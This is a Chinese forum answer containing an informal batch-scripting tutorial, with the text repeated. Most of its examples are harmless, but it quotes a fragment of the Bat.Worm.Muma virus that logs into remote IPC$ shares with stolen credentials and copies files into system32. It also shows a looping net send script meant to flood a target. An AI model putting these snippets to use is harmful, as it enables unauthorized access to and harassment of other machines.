-
1 # 使用者2342184441965
-
2 # 使用者3479751449059
我有本bat命令大全電子書,但是上面無法複製,含有幾百個命令的解釋用法還有例子,很好的,如果想要的話,留下郵箱,我給你發過去
bat批處理教程
OK,never claver and get to business(閒話少說言歸正傳)。批處理,也稱為批處理指令碼,英文譯為BATCH,批處理檔案字尾BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個命令,每個命令裡可以含多條子命令,從第一行開始執行,直到最後一行結束,它執行的平臺是DOS。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因為牽纏到程式碼(批處理的內容算是程式碼吧?)的問題本來就是枯燥的,很少有人能面對滿螢幕的程式碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎麼又是愛?到底批處理和愛有什麼關係?答案:沒有!)。再說句“閒話”:要學好批處理,DOS基礎一定要牢!當然腦子靈活也是很重要的一方面。
例一、先給出一個最easy的批處理指令碼讓大家和它混個臉熟,將下面的幾行命令儲存為
name.bat
然後執行(以後文中只給出程式碼,儲存和執行方式類似):ping
sz.tencent.com
>a.txt
ping
sz1.tencent.com
>>a.txt
ping
sz2.tencent.com
>>a.txt
ping
sz3.tencent.com
>>a.txt
ping
sz4.tencent.com
>>a.txt
ping
sz5.tencent.com
>>a.txt
ping
sz6.tencent.com
>>a.txt
ping
sz7.tencent.com
>>a.txt
exit
是不是都能看的懂?是不是很easy?但它的作用卻是很實用的,執行這個批處理後,可以在你的當前盤建立一個名為
a.txt
的檔案,它裡面記錄的資訊可以幫助你迅速找到速度最快的QQ伺服器,從而遠離“從伺服器中轉”那一痛苦的過程。這裡>的意思,是把前面命令得到的東西放到後面所給的地方,>>的作用,和>的相同,區別是把結果追加到前一行得出的結果的後面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個a.txt
檔案越來越大(想到如何搞破壞了??)。By the way,這個批處理還可以和其他命令結合,搞成完全自動化判斷伺服器速度的東東,執行後直接顯示速度最快的伺服器IP,是不是很爽?後面還將詳細介紹。例二、再給出一個已經過時的例子(
a.bat
):@echo off
if exist C:\Progra~1\Tencent\AD\*
.gif
del C:\Progra~1\Tencent\AD\*.gif
a.bat
為什麼說這是個過時的例子呢?很簡單,因為現在已經幾乎沒有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢!!),所以它幾乎用不上了。但曾經它的作用是不可小窺的:刪除QQ的廣告,讓對話方塊乾乾淨淨。這裡用的地址是QQ的預設安裝地址,預設批處理檔名為
a.bat
,你當然可以根據情況自行修改。在這個指令碼中使用了if命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關閉命令執行後的DOS視窗,不按CTRL+C強行終止命令,它就一直監視是否有廣告圖片(QQ也再不斷檢視自己的廣告是否被刪除)。當然這個指令碼佔用你一點點記憶體,呵呵。例三,使用批處理指令碼查是否中冰河。指令碼內容如下:
@echo off
netstat -a -n >
a.txt
type
a.txt
| find "7626" && echo "Congratulations! You have infected GLACIER!"del
a.txt
pause & exit
這裡利用了netstat命令,檢查所有的網路埠狀態,只需要你清楚常見木馬所使用的埠,就能很easy的判斷出來是否被人種了冰河。然這不是確定的,因為冰河預設的埠7626,完全可以被人修改。這裡介紹的只是方法和思路。這裡介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的指令碼了,再改動一下,加進去引數和埠及資訊列表檔案後,就變成自動檢測所有木馬的指令碼了。呵呵,是不是很過癮?指令碼中還利用了組合命令&&和管道命令|,後面將詳細介紹。
例四,借批處理自動清除系統垃圾,指令碼如下:
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
將以上指令碼內容儲存到
autoexec.bat
怎麼樣,看到這裡,你對批處理指令碼是不是已經有點興趣了?是不是發現自己已經慢慢愛上了這個東東?別高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和幸福,當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續的話,I 服了 YOU!繼續努力吧,也許到最後你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會到整個愛的過程,就是如此。 酸、苦和辣,有沒有甜天知道。
為什麼會把批處理和愛情扯上關係?不是我無聊,也不是因為這樣寫有趣多少,原因有二:其一,批處理和愛情有很多相同的地方,有些地方我用“專業”的行話解釋不清(我不懷疑自己的表達能力,而是事情本身就不好說清楚),說了=沒說,但用地球人都知道的愛情一比喻(愛情是什麼?我**怎麼知道!!),沒準你心裡一下就亮堂了,事半功倍,何樂而不為?其二,我這段時間狀態不是很好,感冒發燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當買狗皮膏藥了,完全可以省略不看(也許還真有點效果----不至於讓你看著看著就睡著了,把頭磕了來找我報銷醫藥費)。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。
看過第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來幹什麼的了。但你知道運用批處理的精髓在哪裡嗎?其實很簡單:思路要靈活!沒有做不到的,只有想不到的。這和愛情就有點不同了,因為愛情的世界是兩個人的世界,一廂情願不叫愛情(補充:那叫單戀。廢話!)而批處理卻是一個人的天堂,你可以為所欲為,沒有達不到的境界!
批處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程式語言(如彙編)低,如果你寫的指令碼是一堆亂麻,雖然每一行命令都正確,但從頭執行到尾後,不一定得到你想要的結果,也許是一螢幕的Bad command or fail name。這又和愛情有了共同點:按步驟來經營,缺少或增多的步驟都可能導致不想看見的結果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理,輸出的結果不是Bad command or fail name,螢幕是這麼顯示的:‘你的愛情’不是內部或外部命令,也不是可執行的程式或批處理檔案。然後就是游標不停閃動,等待這下一次錯誤的輸入。
從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見DOS命令在批處理指令碼中有這廣泛的應用,它們是批處理指令碼的BODY部分,但批處理比DOS更靈活多樣,更具備自動化。要學好批處理,DOS一定要有比較紮實的基礎。這裡只講述一些比較少用(相對來說)的DOS命令,常用命令如COPY、DIR等就不做介紹了(這些看似簡單的命令實際複雜的很,我怕自己都說不清楚!)。
例五,先看一個例項。這是一個很有意思的指令碼,一個小巧實用的好東東,把批處理“自動化”的特點體現的淋漓盡致。先介紹一下這個指令碼的來歷:大家都知道彙編程式(MASM)的上機過程,先要對原始碼進行彙編、連線,然後再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(只有經歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞彙編課程設計時,我“被逼”寫了這個指令碼,用起來很爽,呵呵。看看指令碼內容:
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %
1.asm
::assemble the
.asm
codeif errorlevel 1 pause & edit %
1.asm
::if error pause to see error msg and edit the code
link %
1.obj
& %1::else link the
.obj
file and execute the.exe
file:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is
START.BAT
::display usage
先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎麼寫的!!)。已經給出了每一行命令的解釋,兩個冒號後面的內容為前一行內容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這麼懶?),在指令碼執行時不顯示,也不起任何作用。倒數第5行行首有一個冒號,可不是筆誤哦!具體作用後面會詳細講到。此指令碼中masm和link是彙編程式和連線程式,必須和edit程式以及你要編輯的原始碼(當然還有這個指令碼,廢話!)一起在當前目錄中。使用這個批處理指令碼,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現從彙編原始碼到可執行exe檔案的自動化轉換,並具備智慧判斷功能:如果彙編時原始碼出現錯誤(彙編不成功),則自動暫停顯示錯誤資訊,並在按任意鍵後自動進入編輯原始碼介面;如果原始碼彙編成功,則進行連線,並在連線後自動執行生成的exe檔案。另外,由於批處理命令的簡單性和靈活性,這個指令碼還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學彙編的朋友,一定別忘了實習一下!
在這個指令碼中出現瞭如下幾個命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。
1、@
這個符號大家都不陌生,email的必備符號,它怎麼會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執行視窗中不顯示它後面這一行的命令本身(多麼繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓指令碼在執行時不顯示後面的echo off部分。這下懂了吧?還是不太懂?沒關係,看完echo命令簡介,自然就懂了。
2、echo
中文為“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態:開啟和關閉。於是就有了echo on和echo off兩個命令了。直接執行echo命令將顯示當前echo命令狀態(off或on)執行echo off將關閉回顯,它後面的所有命令都不顯示命令本身,只顯示執行後的結果,除非執行echo on命令。在例五中,首行的@命令和echo off命令聯合起來,達到了兩個目的:不顯示echo off命令本身,不顯示以後各行中的命令本身。的確是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!
echo命令的另一種用法一:可以用它來顯示資訊!如例五中倒數第二行,Default BAT file name is
START.BAT
將在指令碼執行後的視窗中顯示,而echo命令本身不顯示(為什麼??)。echo命令的另一種用法二:可以直接編輯文字檔案。例六:
echo nbtstat -A 192.168.0.1 >
a.bat
echo nbtstat -A 192.168.0.2 >>
a.bat
echo nbtstat -A 192.168.0.3 >>
a.bat
以上指令碼內容的編輯方法是,直接是命令列輸入,每行一回車。最後就會在當前目錄下生成一個
a.bat
的檔案,直接執行就會得到結果。3、::
這個命令的作用很簡單,它是註釋命令,在批處理指令碼中和rem命令等效。它後面的內容在執行時不顯示,也不起任何作用,因為它只是註釋,只是增加了指令碼的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。
4、pause
中文為“暫停”的意思(看看你的workman上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程式程序暫停一下,並顯示一行資訊:請按任意鍵繼續. . .。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程式資訊,第二個是顯示錯誤的彙編程式碼資訊(其實不是它想顯示,而是masm程式在顯示錯誤資訊時被暫它停了,以便讓你看清楚你的原始碼錯在哪裡)。
5、:和goto
為什麼要把這兩個命令聯合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉命令,:是一個標籤。當程式執行到goto時,將自動跳轉到:定義的部分去執行了(是不是分不開?)。例五中倒數第5行行首出現一個:,則程式在執行到goto時就自動跳轉到:標籤定義的部分執行,結果是顯示指令碼usage(usage就是標籤名稱)。不難看出,goto命令就是根據這個冒號和標籤名稱來尋找它該跳轉的地方,它們是一一對應的關係。goto命令也經常和if命令結合使用。至於這兩個命令具體用法,參照例五。
goto命令的另一種用法一:提前結束程式。在程式中間使用goto命令跳轉到某一標籤,而這一標籤的內容卻定義為退出。如:
……
goto end
……
:end
這裡:end在指令碼最後一行!其實這個例子很弱智,後面講了if命令和組合命令你就知道了。
6、%
這個百分號嚴格來說是算不上命令的,它只是批處理中的引數而已(多個%一起使用的情況除外,以後還將詳細介紹),但千萬別以為它只是引數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七:
net use \\%1\ipc$ %3 /u:"%2"
copy
11.BAT
\\%1\admin$\system32 /ycopy
13.BAT
\\%1\admin$\system32 /ycopy
ipc2.BAT
\\%1\admin$\system32 /ycopy
NWZI.EXE
\\%1\admin$\system32 /yattrib \\%1\admin$\system32\
10.bat
-r -h -s以上程式碼是
Bat.Worm.Muma
病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執行形式為:指令碼檔名 引數一 引數二 ……。假設這個指令碼被儲存為a.bat
,則執行形式如下:a IP username password。這裡IP、username、password是三個引數,缺一不可(因為程式不能正確執行,並不是因為少了引數語法就不對)這樣在指令碼執行過程中,指令碼就自動用用你的三個引數依次(記住,是依次!也是一一對應的關係。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在指令碼中直接把IP、username和password都定義死,那麼指令碼的作用也就被固定了,但如果使用%的話,不同的引數可以達到不同的目的,是不是更靈活?)。關於這個引數的使用,在後續章節中還將介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!
這一章就寫到這裡了。可能有朋友問了:怎麼沒介紹if命令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點東西,如果你是初學者,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個DOS命令都可以被用在批處理指令碼中去完成特定的功能。到這裡,你是否已經想到了用自己肚子裡的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個DOS命令的集合而已,相信自稱為天才的你已經會把計算機等級考試上機試題中的DOS部分用批處理來自動化完成了。
煩!就好象一個半老女人到了更年期,什麼事都想嘮叨幾句,什麼事都感到不舒服,看誰誰不爽。明知山有虎,偏向虎山行,最後留下一身傷痕無功而返時,才發現自己竟然如此脆弱,如此渺小,如此不堪一擊。徘徊在崩潰的邊緣,突然回想起了自己最後一次扁人的那一刻,還真有點懷念(其實我很不喜歡扁人,更不喜歡被人扁)。我需要發洩,我用手指拼命的敲打著鍵盤,在一陣接一陣有節奏的聲音中,螢幕上出現了上面的這些文字。可難道這就是發洩的另一種方式嗎?華人還是厲害,早在幾千年前孔老夫子就說過“唯女子與小人,難養也”,真**有先見之明,佩服!雖然是在發洩,不過大家請放心,以我的脾氣,既然決定寫這篇教程,就一定會盡力去寫好,寫完美,絕對不給自己留下遺憾,要不這教程就不是我寫的!
曾經有一篇經典的批處理教程出現在你的螢幕上,你沒有儲存,直到找不到它的連結你才後悔莫及,人世間最大的痛苦莫過於此。如果上天能給你一個再看一次的機會,你會對那篇教程說三個字:我愛你!如果非要給這份愛加上一個期限,你希望是100年。因為100年後,你恐怕早已經掛了!而現在,你的螢幕上出現了這篇你正在看的批處理教程,雖然不如你曾經看的那篇經典,但如果勉強還過的去。你會愛它嗎?時間會有50年那麼長嗎?答案是:試試看吧。
批處理指令碼中最重要的幾個命令,將在這一章詳細介紹,但是很遺憾,有些細節到現在我都沒掌握的很好,甚至還有些生分。如同還不太懂得愛一樣。但我一直都在努力,即使一直都沒有收穫。所以可能講的會比較籠統,但我會告訴你方法,剩下的就是時間問題了,需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒,滴水穿石非一日之功。有些事情,比如學批處理,比如愛一個人,都是不能速成的,甚至還會有付出艱辛而收穫為甚微的情況。再次重申,看這篇教程的時候,一定要靜下心來,除非你已經掌握了這篇教程的所有東西----但那也就不必看了,浪費時間!
7、if
接上一章,接著講if命令。總的來說,if命令是一個表示判斷的命令,根據得出的每一個結果,它都可以對應一個相應的操作。關於它的三種用法,在這裡分開講。
(1)、輸入判斷。還是用例五里面的那幾句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
這裡判斷輸入的引數情況,如果引數為空(無引數),則跳轉到usage;如果引數為/?或help時(大家一般看一個命令的幫助,是不是輸入的/?或help呢,這裡這麼做只是為了讓這個指令碼看起來更像一個真正的程式),也跳轉到usage。這裡還可以用否定形式來表示“不等於”,例如:if not "%1"=="" goto usage,則表示如果輸入引數不為空就跳轉到usage(實際中這樣做就沒意義了,這裡介紹用法,管不了那麼多了,呵呵。)是不是很簡單?其實翻譯成中文體會一下就understand了。
(2)、存在判斷。再看例二里這句:
if exist C:\Progra~1\Tencent\AD\*
.gif
del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif檔案,就刪除這些檔案。當然還有例四,都是一樣的道理。注意,這裡的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif檔案則退出指令碼”:if not exist C:\Progra~1\Tencent\AD\*
.gif
exit。只是多一個not來表示否定而已。(3)、結果判斷。還是拿例五開刀(沒想到自己寫的指令碼,竟然用處這麼大,呵呵):
masm %
1.asm
if errorlevel 1 pause & edit %
1.asm
link %
1.obj
先對原始碼進行彙編,如果失敗則暫停顯示錯誤資訊,並在按任意鍵後自動進入編輯介面;否則用link程式連線生成的obj檔案。這裡只介紹一下和if命令有關的地方,&命令後面會講到。這種用法是先判斷前一個命令執行後的返回碼(也叫錯誤碼,DOS程式在執行完後都有返回碼),如果和定義的錯誤碼符合(這裡定義的錯誤碼為1),則執行相應的操作(這裡相應的操作為pause & edit %
1.asm
部分)。另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,程式碼變為:
masm %
1.asm
if not errorlevel 1 link %
1.obj
pause & edit %
1.asm
看到本質了吧?其實只是把結果判斷後所執行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執行成功(因為它是錯誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執行成功)。這裡是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功指令碼就肯定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個指令碼,然後把有not和沒有not的情況,返回碼為0或1的情況分別寫進去執行(怎麼,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?後面介紹管道命令和組合命令時還有更麻煩的呢!怕了?呵呵。),這樣從執行的結果中就能很清楚的看出這兩種情況的區別。
這種用errorlevel結果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。以上程式碼必須變成:
masm %
1.asm
if exist %
1.obj
link %1.obj
else pause & edit %
1.asm
關於if命令的這三種用法就say到這裡,理解很簡單,但應用時就不一定用的那麼得心應手,主要是熟練程度的問題。可能有的朋友有點驚訝,我怎麼沒給出類似下面三行的用法介紹,是因為下面三行是if命令幫助裡對它自身用法的解釋,任何人只要一個“if /?”就能看到,我沒有必要在這裡多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我採用上面自己對if命令的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質上講,這三種用法都是建立在判斷的基礎上的,哲學教我們學會透過現象看事物本質!)。有興趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
學過彙編或C的朋友,肯定都知道call指令表示什麼意思了,在這裡它的意思其實也是一樣的。在批處理指令碼中,call命令用來從一個批處理指令碼中呼叫另一個批處理指令碼。看例八(預設的三個指令碼檔名分別為
start.bat
、10.bat
和ipc.bat
):start.bat:
……
CALL
10.BAT
0……
10.bat:
……
ECHO %IPA%.%1 >
HFIND.TMP
……
CALL
ipc.bat
IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call
HACK.bat
%%i %%j %%k有沒有看出什麼不對的地方?沒看出來啊?沒看出來就對了,其實就沒有不對的地方嘛,你怎麼看的出來!從上面兩個指令碼,你可以得到如下資訊:1、指令碼呼叫可以靈活運用,迴圈運用、重複運用。2、指令碼呼叫可以使用引數!關於第一點就不多說了,聰明的你一看就應該會,這裡說一下第二點。
在
start.bat
中,10.bat
後面跟了引數0,在執行時的效果,其實就是把10.bat
裡的引數%1用0代替。在start.bat
中,ipc.bat
後面跟了引數ipcfind.txt
(一個檔案,也可以做引數),執行時的效果,就是用ipc.bat
中的每一行的三個變數(這裡不懂沒關係,學過for命令後就懂了),對應代換ipc.bat
中的%%i、%%j和%%k。這裡引數呼叫是非常靈活的,使用時需要好好體會。在初學期間,可以先學習只調用指令碼,至於連指令碼的引數一起使用的情況,在後面的學習中自然就會有比較深刻的理解,這是因為當你已經可以靈活運用批處理指令碼後,如何使程式碼寫的更精簡更完美更高效就自然包括到了考慮的範圍,這時候你就會發現在呼叫指令碼時直接加入引數,可以使程式碼效率加倍。By the way,上面的這幾個指令碼,都是Bat.Worm.Muma
病毒的一部分,在後面的教程裡,大家將有機會見到這個病毒的真面目。那是不是說,在同一個目錄下至少存在兩個批處理指令碼檔案(只有一個你呼叫誰?)?呵呵,注意了,這句話錯了!!只有一個照樣可以呼叫----呼叫自身!看例九(預設指令碼檔名
a.bat
):net send %1 This is a call example.
call
a.bat
這兩句一結合,效果自然不怎麼樣,因為只有一臺機器來發訊息,誰怕誰啊?我給你來個禮尚往來!可如果有100臺機器同時執行,而且每臺機器開10和視窗同時向一個目標機器發訊息的話,呵呵。這裡call
a.bat
的作用就是呼叫自身,執行完前一句net send命令後再呼叫自身,達到了迴圈執行的目的。給出一個很有意思的指令碼,有興趣的朋友可以實驗一下。例十(預設指令碼檔名為
a.bat
):call
a.bat
一定要在DOS視窗下執行,否則只會看到一個視窗一閃而過,看不到最後結果。等執行完後,當指令碼被執行了1260次,別忘了想一下到底是為什麼!愛情有時候跟這個指令碼一樣,一旦陷入死迴圈,最後的結果都是意想不到的。只是愛情,絕對不會等到被毫無理由的迴圈這麼多次,也許在第三次時就出現了love is aborted的提示。
回覆列表
我有本bat命令大全電子書,但是上面無法複製,含有幾百個命令的解釋用法還有例子,很好的,如果想要的話,留下郵箱,我給你發過去
bat批處理教程
OK,never claver and get to business(閒話少說言歸正傳)。批處理,也稱為批處理指令碼,英文譯為BATCH,批處理檔案字尾BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個命令,每個命令裡可以含多條子命令,從第一行開始執行,直到最後一行結束,它執行的平臺是DOS。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因為牽纏到程式碼(批處理的內容算是程式碼吧?)的問題本來就是枯燥的,很少有人能面對滿螢幕的程式碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎麼又是愛?到底批處理和愛有什麼關係?答案:沒有!)。再說句“閒話”:要學好批處理,DOS基礎一定要牢!當然腦子靈活也是很重要的一方面。
例一、先給出一個最easy的批處理指令碼讓大家和它混個臉熟,將下面的幾行命令儲存為
name.bat
然後執行(以後文中只給出程式碼,儲存和執行方式類似):ping
sz.tencent.com
>a.txt
ping
sz1.tencent.com
>>a.txt
ping
sz2.tencent.com
>>a.txt
ping
sz3.tencent.com
>>a.txt
ping
sz4.tencent.com
>>a.txt
ping
sz5.tencent.com
>>a.txt
ping
sz6.tencent.com
>>a.txt
ping
sz7.tencent.com
>>a.txt
exit
是不是都能看的懂?是不是很easy?但它的作用卻是很實用的,執行這個批處理後,可以在你的當前盤建立一個名為
a.txt
的檔案,它裡面記錄的資訊可以幫助你迅速找到速度最快的QQ伺服器,從而遠離“從伺服器中轉”那一痛苦的過程。這裡>的意思,是把前面命令得到的東西放到後面所給的地方,>>的作用,和>的相同,區別是把結果追加到前一行得出的結果的後面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個a.txt
檔案越來越大(想到如何搞破壞了??)。By the way,這個批處理還可以和其他命令結合,搞成完全自動化判斷伺服器速度的東東,執行後直接顯示速度最快的伺服器IP,是不是很爽?後面還將詳細介紹。例二、再給出一個已經過時的例子(
a.bat
):@echo off
if exist C:\Progra~1\Tencent\AD\*
.gif
del C:\Progra~1\Tencent\AD\*.gif
a.bat
為什麼說這是個過時的例子呢?很簡單,因為現在已經幾乎沒有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢!!),所以它幾乎用不上了。但曾經它的作用是不可小窺的:刪除QQ的廣告,讓對話方塊乾乾淨淨。這裡用的地址是QQ的預設安裝地址,預設批處理檔名為
a.bat
,你當然可以根據情況自行修改。在這個指令碼中使用了if命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關閉命令執行後的DOS視窗,不按CTRL+C強行終止命令,它就一直監視是否有廣告圖片(QQ也再不斷檢視自己的廣告是否被刪除)。當然這個指令碼佔用你一點點記憶體,呵呵。例三,使用批處理指令碼查是否中冰河。指令碼內容如下:
@echo off
netstat -a -n >
a.txt
type
a.txt
| find "7626" && echo "Congratulations! You have infected GLACIER!"del
a.txt
pause & exit
這裡利用了netstat命令,檢查所有的網路埠狀態,只需要你清楚常見木馬所使用的埠,就能很easy的判斷出來是否被人種了冰河。然這不是確定的,因為冰河預設的埠7626,完全可以被人修改。這裡介紹的只是方法和思路。這裡介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的指令碼了,再改動一下,加進去引數和埠及資訊列表檔案後,就變成自動檢測所有木馬的指令碼了。呵呵,是不是很過癮?指令碼中還利用了組合命令&&和管道命令|,後面將詳細介紹。
例四,借批處理自動清除系統垃圾,指令碼如下:
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
將以上指令碼內容儲存到
autoexec.bat
怎麼樣,看到這裡,你對批處理指令碼是不是已經有點興趣了?是不是發現自己已經慢慢愛上了這個東東?別高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和幸福,當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續的話,I 服了 YOU!繼續努力吧,也許到最後你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會到整個愛的過程,就是如此。 酸、苦和辣,有沒有甜天知道。
為什麼會把批處理和愛情扯上關係?不是我無聊,也不是因為這樣寫有趣多少,原因有二:其一,批處理和愛情有很多相同的地方,有些地方我用“專業”的行話解釋不清(我不懷疑自己的表達能力,而是事情本身就不好說清楚),說了=沒說,但用地球人都知道的愛情一比喻(愛情是什麼?我**怎麼知道!!),沒準你心裡一下就亮堂了,事半功倍,何樂而不為?其二,我這段時間狀態不是很好,感冒發燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當買狗皮膏藥了,完全可以省略不看(也許還真有點效果----不至於讓你看著看著就睡著了,把頭磕了來找我報銷醫藥費)。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。
看過第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來幹什麼的了。但你知道運用批處理的精髓在哪裡嗎?其實很簡單:思路要靈活!沒有做不到的,只有想不到的。這和愛情就有點不同了,因為愛情的世界是兩個人的世界,一廂情願不叫愛情(補充:那叫單戀。廢話!)而批處理卻是一個人的天堂,你可以為所欲為,沒有達不到的境界!
批處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程式語言(如彙編)低,如果你寫的指令碼是一堆亂麻,雖然每一行命令都正確,但從頭執行到尾後,不一定得到你想要的結果,也許是一螢幕的Bad command or fail name。這又和愛情有了共同點:按步驟來經營,缺少或增多的步驟都可能導致不想看見的結果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理,輸出的結果不是Bad command or fail name,螢幕是這麼顯示的:‘你的愛情’不是內部或外部命令,也不是可執行的程式或批處理檔案。然後就是游標不停閃動,等待這下一次錯誤的輸入。
從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見DOS命令在批處理指令碼中有這廣泛的應用,它們是批處理指令碼的BODY部分,但批處理比DOS更靈活多樣,更具備自動化。要學好批處理,DOS一定要有比較紮實的基礎。這裡只講述一些比較少用(相對來說)的DOS命令,常用命令如COPY、DIR等就不做介紹了(這些看似簡單的命令實際複雜的很,我怕自己都說不清楚!)。
例五,先看一個例項。這是一個很有意思的指令碼,一個小巧實用的好東東,把批處理“自動化”的特點體現的淋漓盡致。先介紹一下這個指令碼的來歷:大家都知道彙編程式(MASM)的上機過程,先要對原始碼進行彙編、連線,然後再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(只有經歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞彙編課程設計時,我“被逼”寫了這個指令碼,用起來很爽,呵呵。看看指令碼內容:
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %
1.asm
::assemble the
.asm
codeif errorlevel 1 pause & edit %
1.asm
::if error pause to see error msg and edit the code
link %
1.obj
& %1::else link the
.obj
file and execute the.exe
file:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is
START.BAT
::display usage
